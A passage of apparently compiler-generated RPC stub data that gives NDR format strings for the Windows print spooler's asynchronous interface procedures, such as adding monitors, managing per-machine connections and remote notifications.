),\t/* X64 Stack size/offset = 0 */\n/* 3242 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3244 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3246 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3248 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3250 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3252 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3256 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3258 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3260 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3262 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortName */\n\n/* 3264 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3266 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3268 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPortContainer */\n\n/* 3270 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3272 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3274 */\tNdrFcShort( 0xa00 ),\t/* Type Offset=2560 */\n\n\t/* Return value */\n\n/* 3276 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3278 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3280 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddMonitor */\n\n/* 3282 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3284 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3288 */\tNdrFcShort( 0x33 ),\t/* 51 */\n/* 3290 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3292 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3294 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3296 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3298 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3300 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 3302 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3306 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3308 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 3312 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3314 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3316 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pMonitorContainer */\n\n/* 3318 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3320 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3322 */\tNdrFcShort( 0xa7c ),\t/* Type Offset=2684 */\n\n\t/* Return value */\n\n/* 3324 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3326 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3328 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeleteMonitor */\n\n/* 3330 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3332 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3336 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 3338 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3340 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3342 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3346 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3348 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3350 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3352 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3354 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 3360 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3362 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3364 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 3366 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3368 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3370 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pMonitorName */\n\n/* 3372 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3374 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3376 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3378 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3380 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3382 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePrintProcessor */\n\n/* 3384 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3386 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3390 */\tNdrFcShort( 0x35 ),\t/* 53 */\n/* 3392 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3394 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3396 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3398 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3400 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3402 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3404 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3406 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3408 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3410 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3412 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter Name */\n\n/* 3414 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3416 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3418 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pEnvironment */\n\n/* 3420 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3422 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3424 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 3426 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3428 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3430 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3432 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3434 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPrintProcessorDatatypes */\n\n/* 3438 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3444 */\tNdrFcShort( 0x36 ),\t/* 54 */\n/* 3446 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 3448 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3450 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3452 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 3454 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3456 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 3458 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3460 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3462 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pName */\n\n/* 3468 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3470 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3472 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrintProcessorName */\n\n/* 3474 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3476 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3478 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 3480 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3482 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3484 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pDatatypes */\n\n/* 3486 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3488 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3490 */\tNdrFcShort( 0x47a ),\t/* Type Offset=1146 */\n\n\t/* Parameter cbBuf */\n\n/* 3492 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3494 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3496 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3498 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3500 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3502 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3504 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3506 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3508 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3510 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3512 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 3514 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncAddPerMachineConnection */\n\n/* 3516 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3518 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3522 */\tNdrFcShort( 0x37 ),\t/* 55 */\n/* 3524 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3526 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3528 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3530 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3532 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3534 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 3536 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3538 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3540 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3544 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 3546 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3548 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3550 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterName */\n\n/* 3552 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3554 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3556 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pPrintServer */\n\n/* 3558 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3560 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3562 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Parameter pProvider */\n\n/* 3564 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3566 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3568 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3570 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3572 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3574 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncDeletePerMachineConnection */\n\n/* 3576 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3578 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3582 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3584 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3586 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3588 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3590 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3592 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3594 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 3596 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3598 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3600 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3602 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3604 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 3606 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3608 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3610 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterName */\n\n/* 3612 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3614 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3616 */\tNdrFcShort( 0x51a ),\t/* Type Offset=1306 */\n\n\t/* Return value */\n\n/* 3618 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3620 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3622 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncEnumPerMachineConnections */\n\n/* 3624 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3626 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3630 */\tNdrFcShort( 0x39 ),\t/* 57 */\n/* 3632 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 3634 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 3636 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3638 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3640 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3642 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 3644 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3646 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3648 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3650 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pServer */\n\n/* 3654 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 3656 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3658 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pPrinterEnum */\n\n/* 3660 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 3662 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3664 */\tNdrFcShort( 0x494 ),\t/* Type Offset=1172 */\n\n\t/* Parameter cbBuf */\n\n/* 3666 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 3668 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3670 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcbNeeded */\n\n/* 3672 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3674 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3676 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcReturned */\n\n/* 3678 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 3680 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 3682 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 3684 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3686 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 3688 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSyncRegisterForRemoteNotifications */\n\n/* 3690 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3692 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3696 */\tNdrFcShort( 0x3a ),\t/* 58 */\n/* 3698 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3700 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3702 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3704 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3706 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3708 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3710 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3712 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 3714 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3716 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3720 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 3722 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3724 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3726 */\tNdrFcShort( 0x31a ),\t/* Type Offset=794 */\n\n\t/* Parameter pNotifyFilter */\n\n/* 3728 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3730 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3732 */\tNdrFcShort( 0xc6c ),\t/* Type Offset=3180 */\n\n\t/* Parameter phRpcHandle */\n\n/* 3734 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 3736 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3738 */\tNdrFcShort( 0xc80 ),\t/* Type Offset=3200 */\n\n\t/* Return value */\n\n/* 3740 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3742 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3744 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSyncUnRegisterForRemoteNotifications */\n\n/* 3746 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3748 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3752 */\tNdrFcShort( 0x3b ),\t/* 59 */\n/* 3754 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3756 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe0,\t\t/* Ctxt flags:  via ptr, in, out, */\n/* 3758 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3760 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3762 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 3764 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 3766 */\t0x44,\t\t/* Oi2 Flags:  has return, has ext, */\n\t\t\t0x2,\t\t/* 2 */\n/* 3768 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 3770 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3772 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3774 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3776 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter phRpcHandle */\n\n/* 3778 */\tNdrFcShort( 0x118 ),\t/* Flags:  in, out, simple ref, */\n/* 3780 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3782 */\tNdrFcShort( 0xc88 ),\t/* Type Offset=3208 */\n\n\t/* Return value */\n\n/* 3784 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3786 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3788 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSyncRefreshRemoteNotifications */\n\n/* 3790 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3792 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3796 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 3798 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 3800 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3802 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3804 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3806 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3808 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3810 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 3812 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 3814 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3816 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3818 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3820 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hRpcHandle */\n\n/* 3822 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3824 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3826 */\tNdrFcShort( 0xc8c ),\t/* Type Offset=3212 */\n\n\t/* Parameter pNotifyFilter */\n\n/* 3828 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 3830 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 3832 */\tNdrFcShort( 0xc6c ),\t/* Type Offset=3180 */\n\n\t/* Parameter ppNotifyData */\n\n/* 3834 */\tNdrFcShort( 0x2013 ),\t/* Flags:  must size, must free, out, srv alloc size=8 */\n/* 3836 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 3838 */\tNdrFcShort( 0xc90 ),\t/* Type Offset=3216 */\n\n\t/* Return value */\n\n/* 3840 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 3842 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3844 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcAsyncGetRemoteNotifications */\n\n/* 3846 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 3848 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 3852 */\tNdrFcShort( 0x3d ),\t/* 61 */\n/* 3854 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 3856 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 3858 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3860 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 3862 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 3864 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 3866 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 3868 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 3870 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 3872 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3874 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 3876 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hRpcHandle */\n\n/* 3878 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 3880 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 3882 */\tNdrFcShort( 0xc8c ),\t/* Type Offset=3212 */\n\n\t/* Parameter ppNotifyData */\n\n/* 3884 